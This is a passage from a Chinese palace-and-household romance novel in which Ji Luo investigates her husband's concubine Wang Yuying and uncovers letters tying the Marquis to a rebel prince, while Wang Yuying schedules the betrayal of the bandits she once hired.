吉香迟疑着道:“若说奇怪,便是这药用得实在有些猛,像是夫人从前也是因着落胎后身子不好需要调理,用的药材便多是温和调理为主,这药方却添了好几味药性猛烈的药材,想来用这方子调理身子的那位夫人,怕是身子被伤得厉害。” “按理来说,她的情况应当与我相似。”纪萝回忆着当时景象,“况且后来我不得已去了庄子,她留在了侯府,即便母亲不喜,总归不至于亏待,况且还有侯爷在,身边人应当是小心侍奉着,身子怎会被伤得这样厉害?” 从前不曾细想,如今看来倒是有颇多古怪之处。 纪萝这话吉香自然答不上来,她只摇头道:“这奴婢便不知了,只是想来夫人落胎时孩子月份小,对身子的伤害自然小些,而这些药物多是用于孩子已然成型,那位夫人的孩子应当已有四五月,这样大月份的孩子要落了,对身子的伤害自是不必多说……” 吉香说到此处,纪萝却猛然想到什么,“四五月?你是说这孩子的月份竟是已有四五月了?” 按照王玉盈的说辞,她与赵承嘉的孩子应当与自己那孩子前后怀上,落胎时,那孩子也不过一两个月罢了,怎么会有四五个月呢? 要知道,四五个月前,王玉盈还不曾与袁庆生和离呢! 吉香一愣,斟酌着语句道:“这其中有几样药材确实有这用处,若不是大月份落胎,应当不至于用上。” 吉香的话虽说得谨慎,可纪萝也明白她的意思。 这样说来,王玉盈那个孩子怕是有些古怪。 其实细细想来,王玉盈的那些说辞原本就有许多漏洞,只是从前她从不曾在意,不说旁的,只说她母亲李氏那样的性子,据说赵承嘉将王玉盈带回侯府的第二日,李氏便迫不及待得找上门来,要为王玉盈讨一个名份。 显然是有心想攀附永宁侯府的。 而那孙家,不说那位孙公子并无官职在身,年岁也比王玉盈大了些,前头又亡故了一位妻子,怎么也是比不过赵承嘉的。 倘若李氏早知王玉盈怀了赵承嘉的孩子,又怎会做出逼着王玉盈将那孩子落了,还担着风险逼着她嫁与旁人? 直接利用这孩子让赵承嘉认下这事不是更好? 再者说王玉盈既一早怀了赵承嘉的孩子,又怎会耐着性子等到这孩子都四五个月了还不求个名份? 即便她当着如同她自己所说那般,只留在赵承嘉身边便足矣,可她的肚子一日日大起来,又怎能瞒得住赵承嘉? …… 这般想来,这其中疑点确实颇多。 若要知晓真相,恐怕还要再费些心思,纪萝思忖片刻,又想起一人来,那便是王玉盈那位前夫,袁庆生。 倘若王玉盈当真 在还不曾和离之时就与赵承嘉有了那个孩子,这便说明不仅袁庆生背叛了她,她亦是与旁人有染。 事实如何,恐怕还需要再查一查,于是对阿福道:“王玉盈有个前夫,那人唤作袁庆生,袁家在上京也算是有些名气的富户,你可曾听说过?” 阿福点头,“自是听说过的,他与府上姨娘那一段情事也传闻颇广。” 说到此处,他一拱手道:“夫人放心,此事交予我便是。” 纪萝点头,阿福这才退了下去。 *** 周南星发现,昨日从永宁侯府回来后,自家主子便总有些心神不宁。 无论是看书写字还是批折子,甚至连练剑的时候,心思仿佛都不在这些事情上。 这是从未有过的事。 而今日早朝后,他的目光似乎还时不时地落在了自己身上,好几回好似想开口与自己说些什么,但迟疑了片刻之后又到底没说话。 如此来回几番,让自己也有总颇受折磨之感。 就在周南星想索性开口问些什么的时候,谢元墨却终于开了口,“假使你遇上一女子,她……她愿意与你亲近,可说明她心里有你?” 周南星万万没想到天子斟酌许久,竟是问出了这样的一个问题来。 可他也不敢不认真回答,于是思忖片刻后答道:“应当是。” 谢元墨的神色缓和许多,耳尖甚至微微染了红晕,不过顿了片刻,却又道:“但若她又不愿嫁与你呢?” 周南星僵在了那儿,他控制着自己不将那句“陛下何时遇上了这样的女子”问出口,只摇头道:“属下虽不曾遇上这种事,但想来那女子若是心中有我,自是会愿意与我成婚,这若是情愿与我亲近,却又不肯嫁与我,怕不会只是将我当作闲暇时的消遣罢了……” 周南星这话说得认真,说到后边,亦是多了几分真情实感。 却不曾发觉谢元墨的脸色沉了下来,他冷哼一声,“说来你也已年过二十,莫说是成婚,便是连个有意于你的女子都没有罢?” 周南星听得这话,颇有些尴尬地挠了挠头,又听谢元墨接着道:“你这年纪,不曾成婚,也并未有钟意于你之人,可见对这男女情意之事怕是一窍不通,朕何必问你?” 几句话说下来,周南星脸色顿时有些发苦,只能垂头丧气地应了个“是”。 正说着,外间却进来内监禀报,说是永宁侯到了,谢元墨的脸色有些不好,但还是颔首道:“令他进来。” 内监应了个“是”,而后匆匆将赵承嘉引了进来。 赵承嘉此番过来,无非是向谢元墨禀告一些朝政之事,谢元墨安排的一些事赵承嘉都用心办了,这会儿谢元墨问起,他也都能一一答上。 不过谢元墨问过几个问题后,他的目光却不自觉落在了赵承嘉的袖口处。 那里用算不上精巧的绣艺绣了蓝绿色的竹叶,瞧着……有些眼熟。 赵承嘉觉察到谢元墨的目光定在他身上,可却又不知天子到底在看什么,不敢问也不敢抬眼细瞧,只能依旧躬身立着,额头却已经有冷汗淌了下来。 只是这一会儿功夫,他已经绞尽脑汁地将自己曾做过的事都回忆了一遍,甚至想着难道那桩事也被天子知晓了,但转而又觉得不可能。 可无论如何,他此时实在是不好受。 不知过了多久,他才算又听得谢元墨开口,“你袖口处的纹样倒是别致,可是府中绣娘所绣?” 赵承嘉万万没想到天子与她僵持这样许久,最终开口竟只是问出了这样一个问题,不由一愣,回过神后才忙答道:“这是内子纪氏所绣。” 天子轻轻“嗯”了一声,让赵承嘉揣测不出喜怒来。 最后又问了几个公事方面的问题,题目比之方才刁钻许多,赵承嘉小心答复着,虽不曾出了差错,可也不算太好。 答完之后,赵承嘉心底也越发不安,甚至想着自己莫不是何处得罪了天子? 但这话他却是无论如何都不敢开口问的。 等他从御书房出来时,背脊处当真是已经被冷汗浸透。 目光也不自觉落在袖口处那繁茂的竹叶纹样上,心底揣度着天子方才那一番话的用意。 难道是竟是觉得他这般穿着太过奢华? 第50章 观荷院。 昨日夜里她足足在华庆院跪了三个时辰,直至王氏半夜醒来,才让她回了观荷院。 这期间她哪怕用尽法子偷了懒,可也是实实在在受了不少折磨。 昨夜她回来时一双脚都已经没了知觉,若非凝芳一直小心搀着,她怕是连路也走不了。 除却一双腿实在疼得厉害,她心里更是憋着一团火气。 才一回来,便将凝露唤了过来,“你说你亲眼瞧见纪氏与那一男子进了客房,可是真的?” 凝露知晓王玉盈挨了罚,虽不知具体缘故,但也能猜到白日里那一通算计应当是出了岔子。 这会儿得知王玉盈要见自己,自是分外害怕,可却也不敢不去。 而过来唤她的凝芳神色中却有几分得意。 毕竟这些时日王玉盈重用凝露,而凝芳的地位反而一日不如一日。 她心底存了怨气,如今见凝露没办好差事,心下自然得意,连带着在凝露面前也少见地趾高气扬起来。 凝露见她这副模样,心底虽然恼火,可却也顾不上与她计较,只一心想着到底是哪里出了差错。 这会儿听着王玉盈的问话,凝露回想起白日里见到的那副景象,几乎是毫不迟疑地点了头,“奴婢当时看得真切,纪氏与那男子在廊道下还说了好一会话,后来大约是药效起来了,纪氏的婢子急急忙忙地走了,那男子见纪氏实在有些不对,便将她搀……” “真是可笑!”只是王玉盈却冷笑着打断了她的话,“你说纪氏与那男子同在那间客房中,你可知在那客房中歇息的是何人?” 凝露被王玉盈这话问住了,她连那男子样貌都不曾看清,自是不知那男子身份的,于是摇头道:“奴婢只见那男子衣着华贵,大约是位有些身份的贵客,至于具体是何身份却是不知了。” 王玉盈嗤笑一声,“你自然不知,因为里间歇息的男子哪里只是有些身份?他可是当今天子!” 一句话掷地有声地落了下来,凝露简直不敢相信自己的耳朵,倘若那人当真是当今天子的话,那……那纪萝岂非是与当今天子有那层关系? 这……这实在太过荒唐了。 见凝露神色僵住,王玉盈脸色越发沉了下来,“里间是旁人也就罢了,偏偏是当今天子,难道你觉得纪萝竟会同当今天子勾搭在一处?” 王玉盈这话说得直白,凝露一时也不知该如何应答。 按理来说,天子自是不可能与纪萝有所牵扯,可她白日里也确实看得分明,纪氏与那男子举止亲密,也确实一同进了那客房。 这……到底是哪里出了差错? 王玉盈冷眼看着凝露,“所以你再与我说,你当真看清了是纪萝与当今天子一同进了客房?” “这……”凝露显然不敢再那般笃定,甚至不由得开始怀疑自己是否当真是看错了? 毕竟她为了不被两人觉察,只是远远看着,不曾瞧清楚那男子面容,至于纪萝,她似乎也并未看得那样分明…… 见她一直答不上来,凝芳寻到时机,便故意道:“今日寿宴来往宾客众多,凝露妹妹看错了也是正常,与姑娘把话说明了便是,又何必咬死不肯承认,反而让姑娘受了苦 呢?” 凝芳平日里不声不响,可对凝露的怨气却是一早埋下,这会儿故意如此说,也是让王玉盈对凝露又多了几分不满。 偏偏凝露这会儿也没法子解释,不论凝芳如何说,也都只能一一受着。 不过王玉盈折腾到了半夜,身上也实在疲累,实在无心继续与她们计较这些,便只冷声道:“今日之事,我也不与你过多计较,只是你办事不力总要受些罚,否则往后我身边人皆是如你这般,岂非乱了套了。” 凝露哪里敢再为自个辩解,只得垂首应了个“是”。 王玉盈瞥了一眼窗外,这会儿已是到了后半夜,外间才下过一场雨,雨势虽不算大,可却也下了好几个时辰,地面湿漉漉的,时不时还有冷风吹着,若跪在外间,应当是要受不少折磨的。 如此想着,王玉盈心下便也有了主意,“我今日因着你办事不力在华庆院跪了好几个时辰,我也不为难你,这会儿也快天亮了,你只跪到天亮便行。” 在风吹不着雨淋不到的屋内跪几个时辰和在积了水的院子里生生跪上几个时辰哪里是一回事? 可凝露也不敢多言,只得应下。 而王玉盈歇了一夜第二日再起身来的时候,身边伺候的人自然成了凝芳。 旁的事情凝芳或许不如凝露,但她也是在王玉盈身边侍奉了许多年的,对王玉盈的性子自是了解,倒也不至于让王玉盈觉得不习惯。 至于凝露,在雨地里跪了一夜,今日一早其实已经是摇摇欲坠。 偏偏凝芳记着从前与她的恩怨,不仅没让她去歇着,反而将熬药的差事交给了她。 凝露不得不强撑着去办这事。 这会儿王玉盈虽起了身,可因着昨夜那一番折磨,一双腿依旧有些不利索。 她昨夜那般吃了瘪,今日心里还憋着火气,连早膳也没用上几口便令人拿了下去。 偏偏这时院子里来了一人,竟说是酒楼的掌柜,姓王。 “怎会有酒楼的掌柜寻来?”王玉盈听底下人前来禀报自然奇怪,“我去也不曾去过那酒楼,他怕是寻错了人!” 底下人神色显然有些迟疑,但迫于王玉盈压力,到底如实道:“回姨娘的话,那王掌柜说……说是王绍王公子令他前来的,他说王公子这些时日在他酒楼消费了不少银子,他去向王公子要债,王公子便报了您的名讳,所以此番他过来……” 话说到此处,王玉盈哪里还有不明白的道理。 从前王绍在那些青/楼酒肆消遣,用得银子都顺理成章地记在了袁庆生头上,袁庆生不缺银子,也愿意为他消债,只是如今王玉盈已经与袁庆生和离,他没了这个姐夫,想着她这个姐姐好歹是永宁侯的妾室,便索性报了她的名讳,让那些个青/楼酒肆的老板索性来问她要银子。 王玉盈原本心里便堵得慌,听得这话更是气得浑身发颤,她猛地一拍桌子,几乎是咬着牙道:“你让他滚出去,谁使的银子只管问谁要去,我与王绍早没了姐弟情份,就算是他死在外头了,都不必来同我说道!” 这自然是气话,可底下人见她发了怒,也不敢再多说什么,只得慌忙应下,而后转头去与那位王掌柜传了话。 那王掌柜听了这话神色顿时有些为难,“可是王公子在我们酒楼欠了不少银子,也是他让我前来要账的啊!” 传话的下人神色有些无奈,“姨娘确实是这样说的,这银子,掌柜的还是去向王公子讨要吧。” 王掌柜无法,只得摆了摆手,叹息着转身走了。 而王玉盈又被这事气了一通,又是凝芳说了不少好话才算将这口气顺了过来。 *** 赵承嘉知道纪萝在这事上受了委屈,所以连着几日都抽空来了青萝院。 只是纪萝从那日之后身子便一直不曾好全,赵承嘉过来也只是与她说说话。 连着几日如此,赵承嘉也不免觉得无趣,后头便来得少了。 纪萝向来对他并无期待,也知他所谓愧疚不过装模作样,才几日便现了原形。 不过她也省去了应付的心思,倒也轻松许多。 赵倩桐前后倒也来了几遭,无非是有心想寻王玉盈的麻烦,倘若不是纪萝一直劝着,依着她的性子怕是当真少不了要闹起来。 等身子差不多好全了,纪萝再去华庆院请了安,前几日王氏吩咐人往青萝院送了不少名贵药材,她原本也当过来道声谢的。 她这会儿到了华庆院,秋和对她的态度与王玉盈是很不相同的,甚至还与她闲谈了几句。 等进了里间,王氏对她的态度也很是和缓,先是拉着她坐下,又是瞧了她脸色,这才点了头道:“看着身子是好了些,这确实还是要用些好东西养着才成。” 纪萝闻言忙道:“母亲令人送来的那些药材确实都是上好的东西,媳妇用过之后身子确实好了不少。” 王氏又点点头,“你是个好孩子,寿宴那日的事你受了委屈,母亲也责罚过王姨娘了,只是到底是一家人,往后还是要好好过日子。” 纪萝明白王氏这话是希望她不要存了怨恨心思。 毕竟她是侯府夫人你,若是存了怨恨心思,追究算计起来,怕是要闹得整个侯府都不安宁。 纪萝自然是应着,毕竟她要追究的,也从来不是这桩事。 见她这样懂事,王氏越发满意,只是与她闲谈几句之后又不自觉说起孩子的事。 “前几日寿宴宴席上也有几位与我交好的夫人问起,说是承嘉这个年纪了,怎么膝下却连个一子半女也不曾有。”王氏说着叹了口气,“我却是不知该如何说,前些日子虽为承嘉纳了瑜夏做妾室,可我也瞧得出来,承嘉的心思并不在她身上,王姨娘呢,心中又多算计。” 说到此处,王氏看向纪萝,“这几日你身子不好,我也不好催着你,只是你们夫妻之间的感情还是要用心维持着。” 纪萝对王氏这些话向来是面上应着,实际上却依旧是按着自己的心意来的,所以这会儿也都只是乖巧应着。 却不想王氏却好似想起什么来,扭头看向秋和道:“今日承嘉休沐,好似还在府中?”【你现在阅读的是 】 50-60 第51章 “是。”秋和点头应着,“侯爷今日难得休沐,这会儿应当正在书房。” 王氏笑着吩咐道:“厨房里正备着承嘉素日喜欢的点心,令人端过来罢。” 秋和应道:“是。” 不多时,等那碟子牛乳糕端了过来,王氏便向纪萝道:“这牛乳糕承嘉自幼时便喜欢,前几日他到我这儿来,我令厨房做了,他也用了不少,正好今日他休沐,你将这碟子点心送去,也正好你们夫妻二人说说话,别因着无关的人坏了感情。” 王氏口中的“无关之人”指的自然便是王玉盈了。 王氏的话已经说到了这份上,显然也并未给纪萝留了拒绝的余地。 纪萝无法,只得勉强答应了下来。 等出了华庆院,她带着那点心转头去了书房。 原以为今日见了赵承嘉,又少不得要费心思与他虚与委蛇,但不想赵承嘉竟是才出去。 外间的下人自是不知赵承嘉去了何处又是去办了什么事,只道:“夫人这来得确实不是时候,侯爷前脚才出去,您这会儿就过来了,还不知侯爷什么时候回来呢!” 他不知纪萝心里只觉得自己来得刚好,唇边甚至带了笑意,不过这碟子点心却是王氏特意吩咐自己送来的,不论是带回青萝院还是送回华庆院显然都不太合适,于是道:“这点心是母亲吩咐送来的,说是侯爷素日最喜欢的,侯爷既是不在,我便将点心放在书房,等侯爷回来了,你只与他说是母亲吩咐人送来的便是。” 下人闻言,自然应着。 纪萝便也推门进了里间,她将那碟子点心放在了书案上,原本准备离开,可是没由来的脑中突然浮现那日夜里赵承嘉与下属隐晦不清的对话。 他好似说有什么事情是要瞒着当今天子,甚至还要处理干净之类…… 朝局动荡那些时日,纪萝人虽不在上京,可从回来之后也是听说了不少传闻。 据说那位景王可是早存了叛逆之心,竟是趁着天子重病,带兵闯入皇宫,后边却被天子早安排好的将士一网打尽。 对于这些事,纪萝虽知道得并不真切,也明白那些传闻之中有真有假,可至少朝中有这场动乱却绝不会是假的。 况且也正因着 这事,据说当今天子为了清除逆/党,连带将朝中不少官员都牵扯其中,革职流放的都不算少。 赵承嘉倒是并未牵扯到这些事情之中来。 可像他那样的性子,当初景王势头那样好,难道他真的能做到全然不牵扯自个? 纪萝的心底生了怀疑。 赵承嘉从承袭了永宁侯的爵位,除却那次剿匪,也并未当真做出什么成绩来,自然也接触不到什么朝中要事。 若说他当真有什么不敢为天子所知,甚至还要将留下的痕迹都尽数销毁,那应当便与这事有些关系。 如此想着,纪萝的目光落在了面前的书案上。 赵承嘉向来是在书房中处理公事,倘若还存有什么证据,那便唯有此处能寻到一些东西。 她没再迟疑,为了不让外间人生疑,她不能再此处耽搁太久,于是动作利索地开始翻找起来。 除却书案之外,还有一旁放置藏书的书架,纪萝一样样地搜寻着,手心和额角都不自觉沁出冷汗来。 而此时,她似乎还隐约听见外间传来脚步声响。 有些时候便是如此,越是着急,这事便越发是做不成,她心下着急,连着将书案上的那些东西都尽数翻了一通,却依旧是什么也不曾寻着。 之后又将目光落在一旁书架上,一本本旧书翻过去,也未曾寻到什么。 她心底实在担心耽误的时间太长反而出了差错,只能打算先离开,想着往后寻了机会再做安排。 但也就在她转身准备离开之际,意外碰落了书架上的一本书,竟是正好有一沓信件落了下来。 纪萝的神色定了一瞬,而后动作极快地拆开其中一封信,目光往最底下的落款处一瞧,果真瞧见了景王的名讳。 她的心跳得极快,来不及细思便将其中两封信揣入怀中,之后将其余信件收回原处,而后匆匆往外间走去。 推开书房门之前,她又擦了擦额角的冷汗,而后才装作若无其事地踏出了房门。 好在方才守在外间的那下人也并未怀疑什么,纪萝怀中揣着那几封信件,便只匆匆回了青萝院。 等回了房中,又小心将房门关好,这时纪萝才敢将那两封信拆开细看。 看完这信中内容之后纪萝才知为何那日赵承嘉再三嘱托下属务必将事情处理干净。 景王之事牵扯众多,往日参与这桩事的人都不曾落得好下场,加之景王本就擅长蛊惑人心,而彼时当今天子所始终不知所踪,这般局势下,赵承嘉心下也少不了回存了逼的念头。 而这两封信件便能实实在在地说明他与景王之间,确实有些关心,而他也当真存了投诚之心。 纪萝小心将这两封信收入了妆匣之中,她心下明白,芸枝那桩事,王玉盈也好,赵承嘉也罢,不论是哪一个人的算计,与另一个人都少不了有些牵扯。 眼下她已经令人去查王玉盈与袁庆生那段过去,便也少不了要费心拿住赵承嘉的把柄。 她迟早要离开侯府的,这些东西于她而言,都是助益。 *** 入夜。 纪萝身子原本便没有太大的问题,这几日又是用了王氏送来的药材养着身子,早便没了大碍。 今日便也断了汤药。 不过王氏念着她前头是因着疲累过度才至病倒,这些时日反而让她少在侯府的事上边费心,养好身子才是最为要紧的。 她清闲下来,今夜一早便熄了内室烛火,想着早些歇息。 可正在这时却恰好瞧见窗便有一道人影立在那儿,纪萝的身子一下僵住,心底也生出恐惧来。 那些被压在心底许久,让她误以为几乎消散不见的恐惧再一次涌上心头,她指尖微颤,强逼着自己冷静下来,可就在这时,窗外那道人影轻轻叩了叩窗扉,“阿萝,是我。” 竟是他的声音,那些涌上心头的恐惧顿时消散,取而代之的是可能连她自己都不曾觉察的欢喜。 她快步走到窗边,而后开了窗。 谢元墨果真立在窗外,他从身后拿出一份点心来,“来的时候正好那摊子还在,顺手给你带了一份点心。” 纪萝接过他手中那包点心,打开之后一阵浓郁的栗子香气顿时弥散开来,她拿起一块咬了一口,软糯香甜的味道瞬间留在了唇舌之中,是她熟悉的味道。 “你怎么来了?”大约是想起那日夜里的事,纪萝的神色多少还是有些不自在,“这里可是永宁侯府,不是能随便来的地方。” 谢元墨轻而易举地从窗外跳了进来,他的目光落在纪萝身上,定了一瞬之后移开,才开口道:“官府的人一直在追捕那三个匪徒,他们在青州一带躲了不少时间,后来官府加派人手,他们实在躲不下去了,只能从水路继续逃窜,如今竟好似误打误撞地回了上京。” 谢元墨虽不曾提及他在这其中的功劳,但他确实费了不少心思。 倘若只是寻常匪徒杀人,官府的人即便再如何用心,也派遣不出这些人力来。 想要将人寻着更是难于登天。 听得这话,纪萝面色也凝重许多,她原本也知道此事不易,甚至没有抱有太大期待,如今听得谢元墨这样说,倒是又不由生出几分希望来,“上京天子脚下,更是守卫森严,他们回了上京岂非更有可能能将他们三人捉住?” 谢元墨点头,“他们也是慌不择路,如今到了上京便断然没有再逃离的可能。” 见他这般笃定,纪萝不由安心许多,“这三个匪徒只是听命于他人,若是可以,最好能留了他们性命,能问出背后指使之人最好。” “放心吧。”谢元墨再度答应,“等抓住他们三人,我带你亲自去审问他们。” 纪萝听他如此说,心底不由有些感激,她看着眼前人,认真道:“南星,多谢你了。” 纪萝的话说得真心,谢元墨却颇有些不自在地移开了目光,片刻后,他垂下眸子,低声道:“往后……不要唤我南星了,你可以唤我……” 但他的话还不曾说完,纪萝却摇摇头,“倘若我知道了你的真正名字,我们之间便不免会有更多牵扯,南星,在我面前,我只当你是南星,可好?” 他有这样的本事,甚至官府那边的人也能为他所驱使,足已说明他的身份不同寻常。 至于他到底是何人,纪萝从不曾去细细探究过。 不论如何,她早已深陷永宁侯府的泥沼之中,总不该再将旁人牵扯。 那日夜里的事,总归是她自私了,如今唯一能做的,就是与眼前人一同将这事忘却。 只当什么也不曾发生。 谢元墨极轻地叹了口气,他将目光移向案几的绣篮上那只已经绣好的香囊上,“这个,就当作给我的谢礼,好吗?” 第52章 王玉盈因着寿宴的事消了不少气焰,这些时日都安分得留在观荷院,倒是安静许多。 只是凝芳见她总心情不好,便劝着她去外面散散心。 王玉盈在院子里闷了几日,听凝芳如此说,也不曾拒绝。 上京的闹市向来是热闹的,王玉盈手里没什么银子,大多时候都只是看看,即便心里如何喜欢却也拿不出银子来。 偏偏在那些铺子老板面前还要撑着面子,或是说自己不喜,或是说家中已有相似的,总之都能寻到理由。 好在她穿着打扮也不算差,身边还有个婢子跟着,那些个铺子老板自然也不会想到她竟是拿不出银子来,即便她什么也不曾买,也都是好声好气将她送了出去。 王玉盈就这般闲逛了好几间铺子,等到了上京最近算是有些名气的首饰铺子的时候,她却意外瞧见一道熟悉的身影,正是当初的茵娘。 她才到了门口,便见那茵娘穿着打扮都比之从前富贵不少,身边还跟着两个像模像样的婢子,许是因着买了不少东 西,首饰铺子的老板颇为客气地将她送了出来,还道:“再过两日还有一套粉宝石的头面送来,夫人若是喜欢,我便给夫人留着。” 茵娘闻言很是欢喜,“那就多谢掌柜的了。” 掌柜向她拱手作揖,面上堆满了笑意道:“是我当向夫人道谢才是,您时常来照顾我家生意,实在是太感谢了。” 茵娘也微微颔首,说了几句客套话才转身出去。 王玉盈瞧见这般景象,几乎是克制不住地往前行了两步。 可不想正在这时却见茵娘大步走到一男子身旁,唤他“夫君”。 王玉盈定神一看,那男子模样熟悉,分明是她费尽心思都要摆脱的前夫袁庆生。 眼见两人有说有笑地离开,她立在原地,心底不受控制地生出些怨恨情绪来。 她其实知道茵娘与袁庆生已经成了婚,可却不知他们二人竟相处得这样好,甚至袁庆生看向茵娘目光中的那种温柔从前只独属于她一人。 所以,袁庆生如今是真正喜欢上了茵娘? 王玉盈心底说不上来到底是什么滋味。 上辈子她或许是真心喜欢袁庆生的,但这辈子从重生那一刻开始,就早没了这些心思。 但这一刻,她不得不承认她心里还是有些不好受。 就好似她笃定永远只会属于她的东西,早不知不觉间被旁人占有。 她死死盯着那两道离去的背影,忽地想到什么,唇边却多了一丝笑意,“就算这段时日再如何春风得意那又如何,最终少不了被牵扯进那桩案子里,到最后落得被流放的下场!” 一旁凝芳不曾听清她的话,便小心翼翼问道:“姑娘,您说什么?” 王玉盈却嗤笑一声,而后大步进了这首饰铺子。 不得不说,想明白这一层之后她心底当真舒畅许多,即便她如今的情况再如何糟糕也不至于落地流放荒芜之地,最终凄惨至极地丢了性命。 所以她的选择是没错的。 至少她逃脱了那样的命运。 可她不知,当初袁庆生正是被牵扯进了景王的谋反案中才落得那般结局,而这辈子,袁庆生非但没有与景王有所牵扯,甚至一早结识了谢元墨,再不会落得那般下场。 而袁庆生这辈子之所以能避开与景王的牵扯,其实与王玉盈也有莫大的关系,只是这一切,王玉盈却是永远都不会知晓了。 她心情极好地在这首饰铺子里逛了一圈,虽说最后也依旧是什么都不曾买,但心情却是始终不错。 只是没曾想到她才出了铺子,便遇上了那三个匪徒。 那三个匪徒为了躲避官府的追捕,带着斗笠将自己的面容遮得颇为严实,只是王玉盈一见他们的身形,便想起了当初那几人,也猜出了他们身份。 那三人被官府的人追得到处逃窜,这会儿见到王玉盈就如同是见到了救命稻草一般,哪里还顾得上别的,直接便将王玉盈带到了深巷无人处,至于凝芳,还来不及发出声响就已经被他们敲晕了过去。 确定了是他们三人,王玉盈不仅不害怕,甚至不等他们开口就忍不住先责问起来,“纪氏孤身一人被赶去那样偏僻的庄子,身边连个像样的护卫都没有,你们竟是让她安然无恙地回了上京?” 倘若这三人有些本事,能彻底将纪萝了结,那也就不会有后边的那些事了。 可偏偏她好容易凑了两百两银子给了这些人,以为他们能将这事情办妥,可他们却是不中用的,连一个柔弱妇人都对付不了。 反而让人平安回了上京,又给自己添了这样多麻烦。 这匪徒如果再不来寻她倒也罢了,如今偏偏还敢找上门来,她如何不气恼? 听王玉盈这般不客气地一通指责,站在前边的匪徒神色还算正常,他身后那两人面色却已经沉了上来,一人甚至往前走了两步,倘若不是前边那人拦着,甚至有要对王玉盈动手的意思。 站在前边那人正是当初要杀了王玉盈报仇之人,他看着似乎是这三人中的头领,说话也是有些份量的。 虽说因着王玉盈那些毫不客气的言语有些不快,但他神色还算冷静,“你要我们杀的那人虽只是个妇人,可她身边却有个会些武功的,那人对付起来不容易,我们并未提前准备,所以没在他手中讨着好处!” 王玉盈听着这话,心下却是不相信的。 她虽不曾去过那庄子,可却知晓那庄子坐落在何处,也听赵承嘉说过那庄子其实不过是一处闲置的产业,里边唯有几个下人守着。 况且那时赵承嘉与纪萝的关系闹得极僵,赵承嘉话里话外都透着要让纪萝吃些苦头的意思,又怎会为她的安全费心? 所以这匪徒的话,王玉盈自是不信,只觉得他们是想留些颜面才故意编造这般谎言罢了。 而那头领继续道:“倘若不是因为帮你杀人,我们绝不至于被官府的那些人追得这样紧,我们都已经躲到深山老林去了,可那些官府的人就算是搜山,都要将我们几人揪出来,我们一路逃窜,不想又逃回了上京。” “而这上京守卫比之别处更是森严,眼下我们是逃也逃不出去,躲也无处躲藏,这事说到底也与你有些关系,你总要帮帮我们!” 事到如今,他们确实没了别的选择,只有求助王玉盈。 自然,此时这头领虽不曾明言,可话里头那几分威胁的意思王玉盈也是能听得出来的。 他们所做之事原本就是受了王玉盈的驱使,倘若现下王玉盈不愿帮他们,那他们也不必再费心为她隐瞒。 索性将这事捅出去,到时候谁也落不着好处。 王玉盈想到这一层,心里早已忍不住骂起他们来,可面上却不敢这般,思忖着道:“你们想要我如何帮你们?” 见王玉盈态度还算不错,这几个匪徒神色也稍稍安定些,那头领也不拐弯抹角,直言道:“上京这地方到处都是官府的人,留在这儿我们迟早是要被抓着的,你既是永宁侯府的人,想来帮我们弄来几张路引不是难事,等我们趁着那些官府的人不备逃出上京,便一路往西离开楚国,到时候即便那些人再如何费心,都寻不着我们了。” 这也是这三个匪徒这几日商量出来唯一的解决之法。 原本以为只要跑到深山野林中躲避一些时日,等风头过去了,他们便也能重新开始。 可不想官府的人这般执着,眼下也唯有求助王玉盈方能得来一线生机了。 听得他们这话,王玉盈装模作样得皱眉思索着,好一会之后才点头应下,“只是这事于我而言也并不容易,恐怕你们还得多等上几日。” 原本见王玉盈应下,这三个匪徒面上都有了喜色,可一听她这样说,三人显然又有些不安。 头领压下心底的担忧,问道:“你需要多久时间?” “三天吧。”王玉盈心底其实已经有些不耐烦,但为了不令这几日生疑,她依旧装作为此事发愁模样。 见她都已经这般说了,那几个匪徒没再多作为难,毕竟于他们而言,王玉盈确实是唯一的希望,于是只道:“那三日后,还在此处,我们等着你带着东西过来,除却路引之外,我们还要两百两银子,这一路离开楚国路途遥远,我们需要些上路的盘缠。” 王玉盈既是存了应付他们的心思,自然是一一答应。 可只等她平安回了永宁侯府,却对凝芳吩咐道:“过两日,你去安排人跑一趟官府,只说看到了官府通缉令上的逃犯就成。” 凝芳神色中虽有不解,但她没有多问,只乖顺地答应了下来。 经历了前头那一番事,她早已比从前聪明许多,也自是不会在这种事上边犯蠢。 王玉盈见她如此,也显然颇为满意,至于凝露,这些时日她甚至不曾多过问一句。 第53章 而王玉盈如此做, 自然不是存了破罐子破摔地念头。 恰恰相反,她有自己地考量。 首先,她觉得官府那些人并不会对此事多么上心,之所以这般用心追捕,不过是因为那些匪徒是当初便做了不少丧尽天良之事罢了,与纪萝那事关系不大。 纪萝彼时只不过是个被驱逐到了庄子的妇人罢了,哪里来的本事能使得官府那些人为她这般费心? 方才那些匪徒这般说,不过是存了吓唬自己的心思,把所有一切尽数推脱到这桩事上,令自己不得不与他们绑在一起,也要为他们的困境费心罢了。 可自己岂是那样没脑子的人? 她巴不得让这几个匪徒尽快落入官府之人手中,如此,反而替她绝了后患。 到时候官府之人只将他们当作穷凶极恶的匪徒,根本不会多问,他们怕是连官老爷都见不着便丢了性命。 倒是她所做的那些事,便再不会有人知晓了。 凝芳出了房门便按照王玉盈的吩咐寻了靠谱的人将此事安排了下去,等她正转头要回去,却有一婢子迟疑着走上前来,“凝芳姐姐。” 凝芳停了脚步,“怎么了?” “是凝露姐姐。”那婢子小心看着凝芳脸色,见她面上并未有愠怒之色才小心继续道:“凝露姐姐前几日被姨娘罚了淋了一夜雨,后头身子便一直不好,这两日更是身子滚烫,所以想让凝芳姐姐行个方便,让凝露姐姐可以免了熬药的活计。” 凝芳这些日子身子确实一日差过一日,毕竟那日这般在雨地里跪了一宿,第二日身上的衣裳都尽数湿透了,也没个歇息的时候。 凝芳存了折磨她的心思,更是记恨她从前令自己去做那熬药的辛苦活计,索性便让她也去守着那药炉子,如此一日日熬下来,便是原本身子还算不错,这般折腾下来,也是彻底垮了。 偏偏凝芳依旧不肯放过了她,直至今日,依旧令她做着熬药的活计。 这婢子与凝露关系算是不错,眼见她身子实在不好,才鼓足勇气到凝芳跟前求了情。 “没曾想凝露妹妹身子竟是已经到了这地步。”凝芳听着这话,神色中竟是有几分怜惜,“既然凝露妹妹身子实在不好,那熬药的事儿便还是换个人来做罢,这本就是姑娘要用的药,凝露妹妹病着,倘若过了病气给姑娘,岂非更是不好?” 听得凝芳如此说,那婢子眼底闪过一丝喜色,以为她当真便这般放过凝露了。 可不曾想凝芳话头一转,又道:“只是既是在咱们观荷院做事的,就总不能吃了闲饭,熬药的事儿做不了,那便做点别的也是好的。” 她思忖着道:“就去浣衣罢,如此,便也能轻松些。” 